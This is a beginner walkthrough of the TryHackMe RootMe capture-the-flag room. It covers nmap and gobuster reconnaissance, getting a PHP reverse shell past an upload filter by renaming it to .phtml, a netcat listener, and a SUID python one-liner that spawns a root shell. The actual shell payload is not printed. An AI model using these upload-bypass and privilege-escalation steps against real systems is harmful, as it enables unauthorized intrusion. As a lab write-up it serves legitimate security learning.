Understanding CTF TryHackMe - RootMe
This beginner-friendly Capture The Flag (CTF) challenge provides hands-on practice in penetration testing fundamentals. You'll learn to systematically compromise a system through reconnaissance, exploitation, and privilege escalation techniques in a safe, controlled environment on TryHackMe's RootMe room.
Key Points
- Reconnaissance identifies open ports and running services on the target system
- Directory enumeration reveals hidden web paths that may contain vulnerabilities
- Exploitation involves uploading a reverse shell to gain initial system access
- Privilege escalation uses SUID binary misconfigurations to obtain root access
- This challenge teaches real-world penetration testing methodology in a legal, educational setting
Step 1: Reconnaissance - Scanning the Target
Begin by identifying open ports and services running on the target system using nmap.
Command:
nmap -sV xx.xx.xxx.xx
Scan Results:
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 |
| 80/tcp | HTTP | Apache httpd 2.4.29 |
Key Insight: Port 80 (HTTP) represents a potential attack vector for web-based exploitation techniques.
Step 2: Directory Enumeration - Finding Hidden Paths
Use gobuster to discover hidden directories and files on the web server that aren't linked from the main pages.
Command:
gobuster dir -u xx.xx.xxx.xx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Discovered Directories:
/uploads (Status: 301)
/css (Status: 301)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
Critical Finding: The
/panel/directory contains a file upload functionality that can be exploited to gain initial access.
Why Directory Enumeration Matters
Web applications often contain administrative panels, upload directories, or backup files that aren't meant to be publicly accessible. Discovering these paths is essential for identifying potential entry points.
Step 3: Exploitation - Gaining Initial Access
Navigate to http://xx.xx.xxx.xx/panel/ to exploit the file upload functionality and establish a reverse shell connection.
Setting Up the Attack
1. Start a listener on your attack machine:
nc -lvnp 4321
2. Prepare and upload the reverse shell:
- The server blocks
.phpfile extensions - Bypass this restriction by using
.phtmlextension instead - Upload your PHP reverse shell with the
.phtmlextension
3. Trigger the shell by accessing the uploaded file:
Navigate to http://xx.xx.xxx.xx/uploads/shell.phtml
4. Verify your access:
$ whoami
www-data
Capturing the User Flag
Locate the user flag:
find / -name "user.txt" 2>/dev/null
Output:
/var/www/user.txt
Flag:
THM{xxx}
Note: The
2>/dev/nullredirects error messages, making output cleaner and easier to read.
Step 4: Privilege Escalation - Becoming Root
Now that you have initial access as www-data, escalate privileges to root by exploiting SUID binary misconfigurations.
Understanding SUID Permissions
SUID (Set User ID) is a special permission that allows users to execute a file with the permissions of the file owner. When a binary owned by root has SUID permissions set, any user can execute it with root privileges—a common misconfiguration that leads to privilege escalation.
Finding SUID Binaries
Command:
find / -user root -perm /4000 2>/dev/null
This command searches for files owned by root with SUID permissions set.
Exploitable Binary: /usr/bin/python
Escalating to Root
Execute the privilege escalation:
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Verify root access:
# whoami
root
Capturing the Root Flag
Locate the root flag:
find / -name "root.txt" 2>/dev/null
Output:
/root/root.txt
Flag:
THM{xxx}
Best Practices for CTF Challenges
Thorough Enumeration
- Never skip reconnaissance steps—missed services or directories can block your progress
- Use multiple enumeration tools to ensure comprehensive coverage
Test Upload Restrictions
- File upload filters can often be bypassed with alternative extensions (
.phtml,.php5,.phar) - Try different file types and encoding methods
Check for Misconfigurations
- SUID binaries are among the most common privilege escalation vectors
- Always enumerate system configurations and permissions
Document Your Process
- Keep detailed notes of commands, findings, and thought processes
- Documentation helps with write-ups and reinforces learning
Practice Ethical Hacking
- Only perform these techniques in authorized environments like TryHackMe or Hack The Box
- Never attempt unauthorized access to real systems
Learn More
Practice Platforms
- TryHackMe: RootMe | OhSINT
- Hack The Box: Starting Point
Essential Tools
- Nmap: Network scanning and service enumeration
- Gobuster: Directory and file brute-forcing
- LinPEAS: Automated privilege escalation enumeration
Key Concepts
- SUID Binaries Exploitation: Comprehensive guide to SUID-based privilege escalation
- Reverse Shell Cheat Sheet: Collection of reverse shell payloads for various languages